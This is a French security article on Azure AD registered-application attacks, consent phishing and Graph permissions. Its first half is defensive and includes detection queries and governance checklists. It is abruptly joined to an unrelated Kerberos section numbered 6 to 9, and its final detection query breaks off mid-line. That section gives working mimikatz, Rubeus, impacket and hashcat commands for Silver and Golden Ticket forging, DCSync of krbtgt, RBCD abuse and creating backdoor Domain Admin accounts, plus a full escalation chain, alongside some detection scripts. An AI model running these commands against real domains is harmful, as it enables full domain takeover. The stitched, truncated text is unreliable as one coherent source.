Azure AD : attaques sur applications enregistrées et permissions Graph

Résumé exécutif

Les applications enregistrées dans Azure Active Directory (Azure AD) constituent le tissu conjonctif entre les identités, les API Microsoft Graph, les services SaaS et les workloads personnalisés. À mesure que les organisations migrent leurs applications vers le cloud, le volume de ces enregistrements explose, tout comme la diversité des permissions associées. Les attaquants exploitent cette surface pour obtenir des jetons OAuth, manipuler des consentements, escalader des privilèges via des permissions Graph mal dimensionnées, ou abuser des secrets de confidential clients. Cet article explore en profondeur les scénarios d'attaque majeurs, du consentement d'administrateur forcé aux abus d'applications multi-tenant, en passant par la réutilisation de refresh tokens. Nous détaillons les mécanismes de détection, les politiques de consentement et les contrôles préventifs assurant la maîtrise des applications enregistrées.

Comprendre les composants d'une application enregistrée

Chaque application enregistrée possède des identificateurs (Application ID, Object ID), des secrets (certificats ou mots de passe), des plateformes (web, native, SPA) et des permissions API. Lorsqu'un service principal est créé dans un tenant, il devient la représentation entreprise de l'application, pouvant recevoir des rôles, des owners, et des attributs comme AppRoleAssignments. Les permissions Graph segmentent les scopes délégués (utilisateur) et les scopes applicatifs (app-only). Une mauvaise compréhension de ces éléments conduit à des sur-permissions et à des secrets exposés. Les attaques consistent à compromettre un service principal, forcer un consentement admin, ou créer une application malveillante pour siphonner des données. La vigilance doit s'étendre aux applications non interactives (daemon apps) et aux connecteurs SaaS intégrés via AppSource.

Cartographie initiale et inventaire

Pour prioriser la défense, on commence par un inventaire exhaustif :

1. Lister les applications enregistrées (Get-AzureADApplication, Get-MgApplication). 2. Identifier les service principals associés (Get-MgServicePrincipal). 3. Cartographier les permissions déléguées et applicatives (Get-MgServicePrincipalOauth2PermissionGrant, Get-MgServicePrincipalAppRoleAssignment). 4. Inventorier les owners, secrets et certificats, les dates d'expiration, les tags appRoleAssignedTo.

Les applications sont classées selon leur criticité métier, le type de données qu'elles accèdent, leur mode d'authentification et l'équipe propriétaire. On repère les applications shadow IT (non déclarées) en comparant la liste aux référentiels officiels. Les applications multi-tenant sont examinées pour déterminer si elles ont été consenties dans d'autres tenants. La cartographie s'agrémente d'un graphe reliant les applications aux ressources (SharePoint, Exchange, Teams, Azure Resources) pour visibiliser les chemins d'escalade potentiels.

Erreurs de configuration typiques

Parmi les erreurs courantes :

• Secrets d'applications non rotés depuis plusieurs années, parfois stockés en clair dans des dépôts Git.
• Permissions Graph applicatives accordées trop larges (ex : Directory.ReadWrite.All, Mail.ReadWrite, User.Read.All).
• Attributions de rôles Azure RBAC (Owner, Contributor) à des service principals non surveillés.
• Consentements accordés à des applications multi-tenant dont l'identité n'est pas vérifiée.
• Applications locales migrées dans Azure AD sans implémenter le conditional access.

Ces erreurs, cumulées, exposent l'organisation à des risques de compromission silencieuse : un attaquant qui récupère un secret d'application avec Mail.Read peut aspirer tous les mails d'un tenant. D'autres vecteurs incluent des redirections OAuth mal sécurisées ou une gestion laxiste des propriétaires d'applications.

Vecteurs d'attaque : consentement et autorisation

Les attaques de consentement (consent phishing) reposent sur des applications malveillantes qui demandent des permissions Graph et trompent les utilisateurs administrateurs pour obtenir un consentement. Une fois consenti, l'attaquant obtient un refresh token permettant un accès durable. Les attaques plus avancées exploitent les admin consent workflows: si ceux-ci ne sont pas strictement revus, une application peut recevoir un consentement suite à une simple justification. Les permissions app-only sont particulièrement dangereuses, car elles permettent d'accéder à des ressources sans contexte utilisateur. L'utilisation de resource-specific consent (RSC) pour Teams ou SharePoint peut également être détournée si un owner consent pour un site entier.

Abus des fonctionnalités multi-tenant

Les applications multi-tenant peuvent être consenties par d'autres organisations. Les attaquants enregistrent une application dans leur tenant, la configurent pour ressembler à un service légitime, puis la soumettent à des cibles. Si un administrateur du tenant visé consent, une relation d'approbation est créée. Des incidents passés ont mis en lumière des applications malveillantes se faisant passer pour des intégrations de CRM. Une fois le service principal créé chez la victime, l'attaquant peut utiliser Graph pour extraire des contacts, calendriers, fichiers ou messages Teams. Pour mitiger, les tenants doivent restreindre les consentements aux applications vérifiées (publisher verification), imposer des politiques de consentement (preview) et vérifier l'usage du verified publisher.

Permissions Graph : comprendre les surfaces de données

Les permissions Graph couvrent un spectre large. User.Read semble anodin mais permet de lister des utilisateurs. Directory.Read.All donne accès à l'ensemble de l'annuaire. Directory.ReadWrite.All autorise la modification des objets AD, ce qui peut mener à la création de backdoors (ajout d'applications, modification d'attributs, création de comptes). Les permissions mail permettent de lire, envoyer et supprimer des emails ; combinées à Mail.Send elles autorisent des attaques Business Email Compromise. Les permissions Teams (Chat.Read.All, Group.ReadWrite.All) permettent d'accéder à des conversations, des fichiers et de manipuler des membres. Les permissions SharePoint Sites.FullControl.All donnent un contrôle total sur les sites. Une approche Zero Trust exige d'évaluer l'ensemble des scopes accordés et de limiter aux besoins minimums.

Secrets d'application et certificats

Les secrets d'application sont des cibles privilégiées. Les organisations stockent souvent les client secret dans des variables d'environnement, des fichiers de configuration ou des vaults mal configurés. Des pipelines CI/CD exposent les secrets via des logs. Pour mitiger :

• Utiliser des certificats plutôt que des secrets.
• Entreposer les secrets dans Azure Key Vault avec des politiques RBAC rigoureuses.
• Imposer une rotation automatique via Azure Automation ou des runbooks.
• Mettre en place des alertes lorsque des secrets sont proches de l'expiration ou utilisés depuis une adresse IP inconnue.

Une bonne pratique est de lier les applications à Managed Identity lorsque possible, évitant l'usage de secrets. Les Managed Identity s'intègrent nativement avec Azure et réduisent la surface d'exposition.

Politiques de consentement et gouvernance

Azure AD propose des politiques de consentement (en preview) permettant de restreindre qui peut consentir à quelles applications et scopes. On définit des catégories (à usage interne, éditeur vérifié, risque bas). Les demandes de consentement admin passent par un workflow d'approbation, impliquant les équipes sécurité et IAM. Les politiques User Consent Settings peuvent désactiver le consentement utilisateur globalement, obligeant l'utilisation de mécanismes alternatifs comme Privileged Identity Management (PIM) pour accorder temporairement des privilèges de consentement. La gouvernance doit inclure des revues périodiques des applications et des consultations régulières avec les équipes métiers pour anticiper les besoins.

Détection et hunting : signaux Azure AD et Graph

Pour détecter les abus, plusieurs sources sont exploitées :

• Azure AD Audit Logs : création d'applications, ajout de secrets, assignation de rôles.
• Azure AD Sign-in Logs : authentification d'applications, anomalies d'IP, token usage.
• Unified Audit Log (Microsoft 365) : opérations sur Exchange, SharePoint, Teams.
• Defender for Cloud Apps : détection d'applications OAuth à risque, alertes consent phishing.

Les chasseurs définissent des requêtes KQL dans Sentinel :

AuditLogs
| where OperationName in ("Add app role assignment to service principal","Update application")
| extend AppId = tostring(TargetResources[0].id)
| summarize count() by AppId, bin(TimeGenerated, 1h)
| join kind=inner (
    SigninLogs
    | where AppDisplayName != ""
    | summarize dcount(UserPrincipalName) by AppId=tostring(AppId), bin(TimeGenerated, 1h)
) on AppId, TimeGenerated
| where count > 10 and dcountUserPrincipalName > 5
| project TimeGenerated, AppId, count, dcountUserPrincipalName

Cette requête identifie des applications qui reçoivent des assignations massives en une heure, potentiellement signe d'une compromission. Les équipes hunting surveillent aussi la création de oauth2PermissionGrant par des comptes à faible privilège, signe d'une élévation par phishing.

Règles de détection Sentinel et Defender

Sentinel propose des templates de règles, mais les organisations créent des règles custom :

• Détection d'un app consent accordé par un administrateur Global depuis une IP non corporative.
• Alarme lorsqu'une application obtient une permission .ReadWrite.All.
• Règle corrélant la création d'un secret puis un volume anormal d'appels Graph.
• Alertes sur l'utilisation de client credentials flow par une application jamais vue auparavant.

Pour maîtriser le lifecycle des applications, les organisations recourent à l'IaC. Des scripts Terraform ou Bicep définissent les applications, les plateformes, les permissions, les secrets. Chaque changement passe par code review et pipeline CI. On intègre des tests (Pester, Checkov) pour s'assurer qu'aucune permission n'est introduite. Les secrets sont générés dynamiquement via az ad app credential reset et stockés dans Key Vault. Un pipeline Azure DevOps automatise les revues, les déploiements et les audits. Cette approche réduit les coups de production d'applications shadow et fournit une traçabilité complète.

Chasse avancée : lookback et corrélations

Les équipes hunting mènent des analyses lookback sur 90 jours pour détecter des patterns d'exfiltration :

• Applications inconnues ayant téléchargé un volume inhabituel de mails via Graph.
• Sauts dans les logs ServicePrincipalSignIn depuis des IP anonymes.
• Corrélation entre la création d'une application et une règle de transport Exchange (indicatif de préparation BEC).

Les chasseurs utilisent Microsoft 365 Defender pour corréler les signaux endpoint (MDE) avec les accès Graph. Par exemple, si un endpoint signale un token volé et qu'une application commence à accéder à SharePoint, l'alerte est priorisée. L'adoption d'un data lake central (ex : Azure Data Explorer) permet des requêtes flexibles et des analyses multi-sources.

Tableaux de bord et KPIs

Les tableaux de bord Power BI ou Sentinel affichent :

• Nombre d'applications enregistrées actives et inactives.
• Répartition des permissions par catégorie (lecture, écriture, full control).
• Secrets expirant dans les 30 jours.
• Score de conformité aux politiques de consentement.
• Alertes en cours et temps moyen de résolution.

Les KPIs servent à suivre la progression vers le moindre privilège, à justifier des budgets (licences P2, automatisation) et à informer la direction. Des heatmaps identifient les équipes avec le plus grand nombre d'applications, orientant les campagnes de sensibilisation.

Gestion des comptes de service et Managed Identity

Les comptes de service traditionnels doivent être migrés vers Managed Identity ou Services Principals avec des permissions minimales. Les Managed Identity, liés aux ressources Azure (VM, Functions, Logic Apps), obtiennent des tokens de manière sécurisée. Lorsqu'une application ne peut pas utiliser Managed Identity, elle doit recourir à un service principal dont le secret est protégé par Key Vault. On applique des RBAC précis (Reader, App Configuration Data Reader), évitant de conférer Owner. La revue périodique des assignations RBAC via Get-AzRoleAssignment assure qu'aucune application ne conserve des privilèges obsolètes.

Programmes de sensibilisation et formation

Les développeurs et administrateurs doivent comprendre les risques : on propose des ateliers sur OAuth, des guides sur la rotation des secrets, des sessions de démo sur les attaques consent phishing. Les équipes métiers apprennent à reconnaître des popups de consentement suspectes. Un programme d'e-learning valide la compréhension via des quiz. Les retours d'expérience d'incidents sont anonymisés et partagés. On mesure l'efficacité par une baisse des consentements non approuvés et des secrets périmés.

Roadmap et maturité

La montée en maturité suit plusieurs étapes :

1. Phase 1 : Inventaire, activation des logs, désactivation du consentement utilisateur global. 2. Phase 2 : Mise en place de politiques de consentement, rotation des secrets, adoption de Key Vault. 3. Phase 3 : Automatisation IaC, chasse proactive, intégration Sentinel et Defender. 4. Phase 4 : Zero Trust, Continuous Access Evaluation, scoring de risque basé ML, chaos engineering OAuth.

Chaque phase est parrainée par un sponsor, dotée d'OKR, et évaluée lors de comités trimestriels.

Annexes : checklists

• Checklist inventaire : exécuter Get-MgApplication mensuellement, comparer au CMDB, identifier les owners manquants.
• Checklist secrets : vérifier la rotation, l'entreposage dans Key Vault, l'activation de l'alerte d'expiration.
• Checklist permissions : lister les permissions *.ReadWrite, analyser leur pertinence, proposer une réduction.
• Checklist détection : valider la présence des logs dans Sentinel, tester les règles d'alerte, effectuer des simulations.

Conclusion et perspectives

La sécurité des applications enregistrées Azure AD repose sur la combinaison d'une gouvernance rigoureuse, de politiques de consentement fines, d'une détection proactive et d'une remédiation rapide. Les permissions Graph doivent être scrutées avec la même attention qu'un accès admin sur un serveur critique. En centralisant la visibilité, en automatisant les contrôles et en impliquant les métiers, les organisations minimisent le risque de compromission silencieuse. À l'avenir, l'intégration plus poussée de Zero Trust et les avancées autour de Graph API (permissions granulaires, consentement différentiel) offriront de nouveaux leviers pour renforcer la posture de sécurité.

Étude de cas : intégration CRM compromise

Une entreprise de services financiers a été victime d'un consent phishing ciblant son intégration CRM. Un faux email proposait une mise à jour « Microsoft Dynamics Advanced Reports ». Un administrateur a consenti l'application malveillante, octroyant Mail.ReadWrite, Contacts.Read, offline_access. L'attaquant a immédiatement exfiltré des contacts VIP pour lancer une campagne de Business Email Compromise. Sentinel a relevé une augmentation du trafic Graph depuis un datacenter étranger. L'enquête a montré qu'aucune politique de consentement n'était en place et que le workflow d'approbation se limitait à une justification textuelle. La remédiation a inclus la désactivation du consentement utilisateur, l'exigence d'une revue sécurité et la mise en quarantaine de l'application malveillante. L'organisation a aussi mis à jour ses guides de sensibilisation et intégré Defender for Cloud Apps pour surveiller les applications OAuth inconnues.

Étude de cas : secrets exposés via CI/CD

Un autre incident a impliqué une application interne automatisant la facturation. Les secrets de l'application étaient stockés dans un pipeline Azure DevOps, dans un fichier de configuration commit. Lorsqu'un développeur a ouvert un pull request public, le secret a été exfiltré. Des logs ServicePrincipalSignIn ont ensuite révélé des connexions depuis des IP de pays inattendus. L'application possédait FinancialData.ReadWrite. Les attaquants ont modifié des enregistrements, entraînant une fraude. La réponse a consisté à réinitialiser le secret, migrer l'application vers Managed Identity, imposer des branch policies empêchant les secrets dans les commits, et activer des scans automatisés (GitGuardian, Microsoft Defender for DevOps). L'incident a déclenché la mise en place d'un programme de rotation automatique des secrets via Azure Automation.

Approche Purple Team et simulations OAuth

Les exercices Purple Team testent les défenses : une équipe Red simule un consent phishing, un vol de secret ou un détournement de refresh token. L'équipe Blue valide que les logs capturent l'événement, que Sentinel déclenche une alerte, que SOAR révoque les tokens. On mesure le temps de détection (MTTD) et de remédiation (MTTR). Les exercices intégrant l'utilisation de PowerShell Graph SDK pour effectuer des actions malveillantes sont particulièrement utiles. Les lessons learned alimentent les playbooks et les règles. Ces exercices sont planifiés trimestriellement et couvrent différents scénarios (app multi-tenant, application interne critique, application legacy).

Réduction de la surface via App Governance

Graph Security API et intégration SIEM

La Graph Security API permet de récupérer les alertes de Defender for Identity, Defender for Cloud Apps, Defender for Endpoint. On l'intègre dans un SIEM pour corréler une compromission endpoint avec un abus OAuth. Par exemple, si un poste est compromis et que, dans les 30 minutes, une application obtient un consentement à risque, une alerte de priorité maximale est déclenchée. Les organisations développent des playbooks Logic Apps : lorsqu'une alerte App Governance survient, Logic App révoque les permissions, notifie l'owner et crée un ticket. L'intégration SIEM-Graph se fait via des API protégées, authentifiées par des applications enregistrées dédiées avec des permissions minimales.

Gestion des environnements hybrides (on-prem + cloud)

Certaines applications utilisent Azure AD comme IdP mais accèdent à des ressources on-prem via des connecteurs. Une application compromis peut agir comme pivot : récolter des identités et attaquer via LDAP ou Graph on-prem. Les environnements hybrides exigent une segmentation rigoureuse, une surveillance des app proxies, et des analyses de flux réseau. Les secrets de ces connecteurs doivent être stockés dans Key Vault, et les serveurs proxy protégés par Defender for Identity. Les journaux ApplicationProxyConnectorGroup sont intégrés à Sentinel pour détecter des comportements anormaux.

Analyse des tokens et revendication des claims

L'analyse des tokens OAuth (access token, refresh token, id token) aide à détecter des manipulations. Les tokens contiennent des claims (aud, iss, scp, roles). Des anomalies dans les claims peuvent signaler une attaque (par exemple, un aud inattendu). Des scripts PowerShell (Get-JwtClaims) vérifient la conformité des tokens aux attentes. On surveille la durée des refresh tokens (14 jours par défaut, 90 jours pour les clients publics). Une rotation forcée est déclenchée en cas d'incident. Les politiques Signin frequency de Conditional Access limitent la réutilisation prolongée de refresh tokens.

Gestion des applications B2C et B2B

Les tenants Azure AD B2C et les collaborations B2B augmentent la surface. Les applications B2C interagissent avec des identités grand public et peuvent être ciblées par des attaques massives. On applique des policies B2C pour limiter les flux, imposer MFA, valider les attributs. Les scénarios B2B, où des partenaires accèdent aux ressources via des applications, nécessitent un examen rigoureux des permissions et des journaux. Les invitations B2B doivent être approuvées, les applications partenaires isolées via des politiques de consentement spécifiques.

Harmonisation avec les cadres de sécurité (NIST, CIS)

La sécurisation des applications Azure AD s'aligne sur des référentiels :

• NIST SP 800-63 pour l'authentification et la gestion des identités.
• CIS Microsoft Azure Foundations pour les contrôles Azure AD.
• ISO 27001 pour la gestion des accès et des secrets.

Les mesures adoptées (IAM governance, rotation de secret, enregistrement des logs) s'intègrent dans ces frameworks. Les audits externes vérifient la conformité. Les rapports de maturité sont partagés avec les équipes de gouvernance et les auditeurs.

Détection comportementale via Machine Learning

Certaines organisations exploitent Azure Synapse pour entraîner des modèles détectant des patterns d'utilisation anormaux des applications. Les features incluent : nombre de requêtes Graph par heure, type de ressources accédées, corrélation avec l'heure locale des owners, distance géographique. Des algorithmes de clustering identifient des applications aux comportements similaires. Lorsqu'une application s'écarte du cluster, une alerte est envoyée. Une gouvernance Data Science encadre ces modèles (drift monitoring, validation). Les résultats sont intégrés aux SOC runbooks.

Tests et simulations (Chaos OAuth)

Le Chaos OAuth consiste à simuler des événements : injection d'une application malveillante sur un tenant de test, révocation de secrets, test des workflows de consentement. Les équipes mesurent la résilience : la politique de consentement bloque-t-elle l'application ? Le SOAR réagit-il correctement ? Ce programme est répétitif, documenté, et aide à détecter des lacunes (absence de notification, permissions résiduelles). Une variante consiste à désactiver temporairement un owner pour vérifier si l'application dispose d'un owner de secours.

Gouvernance des owners et délégations

Chaque application doit avoir au moins deux owners identifiés. Les organisations surveillent la relation AppOwners via des scripts. Lorsqu'un owner quitte l'entreprise, l'application doit être réassignée. Les owners suivent une formation et signent une charte. Un calendrier de revue trimestriel exige qu'ils confirment leur responsabilité et l'utilisation des permissions. Les délégations sont gérées via PIM pour fournir un accès temporaire (« Just-In-Time ») au rôle Application Administrator.

Intégration avec les programmes de bug bounty et pentest

Les programmes de bug bounty permettent d'identifier des vulnérabilités dans les applications. Les pentests externalisés incluent des scénarios OAuth : interception de tokens, manipulation du consentement, exploitation de redirect URI. Les findings sont classés par criticité et résolus. Les tests évaluent aussi la conformité aux bonnes pratiques (utilisation de PKCE pour les SPA, validation des redirect URI, limitation des scopes). Les rapports enrichissent la base de connaissances interne.

Perspective future : Graph API granularité et open standards

Microsoft introduit des permissions plus granulaires (resource-specific, roles par application). L'adoption progressive des least privileged delegated scopes et des application roles personnalisés permet de réduire la surface. Les organisations doivent se préparer à adopter des standards comme GNAP ou les améliorations OAuth 2.1. Le futur inclut des contrôles basés sur la sensibilité des données, avec des politiques dynamiques (Conditional Access App Control). Les innovations autour de Entra Verified ID offriront des moyens supplémentaires pour valider les applications et leur éditeur.

Checklist finale : sécurisation des applications enregistrées

1. Inventaire complet des applications et service principals. 2. Mise en œuvre de politiques de consentement et suppression du consentement libre. 3. Rotation automatisée des secrets, passage aux certificats ou Managed Identity. 4. Limitation des permissions Graph à la stricte nécessité. 5. Intégration des logs Azure AD et Graph dans Sentinel et Defender. 6. Alertes spécifiques pour les permissions critiques et les consentements anormaux. 7. Processus d'approbation formalisé, propriétaires désignés et formés. 8. Exercices Purple Team réguliers et chaos OAuth. 9. Nettoyage continu des applications inactives et orphelines. 10. Alignement sur Zero Trust et adoption des innovations (CA, App Governance, ML).

En combinant ces contrôles avec une gouvernance solide, les organisations protègent leurs données, respectent les obligations réglementaires et résistent aux attaques sophistiquées visant les applications enregistrées Azure AD.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
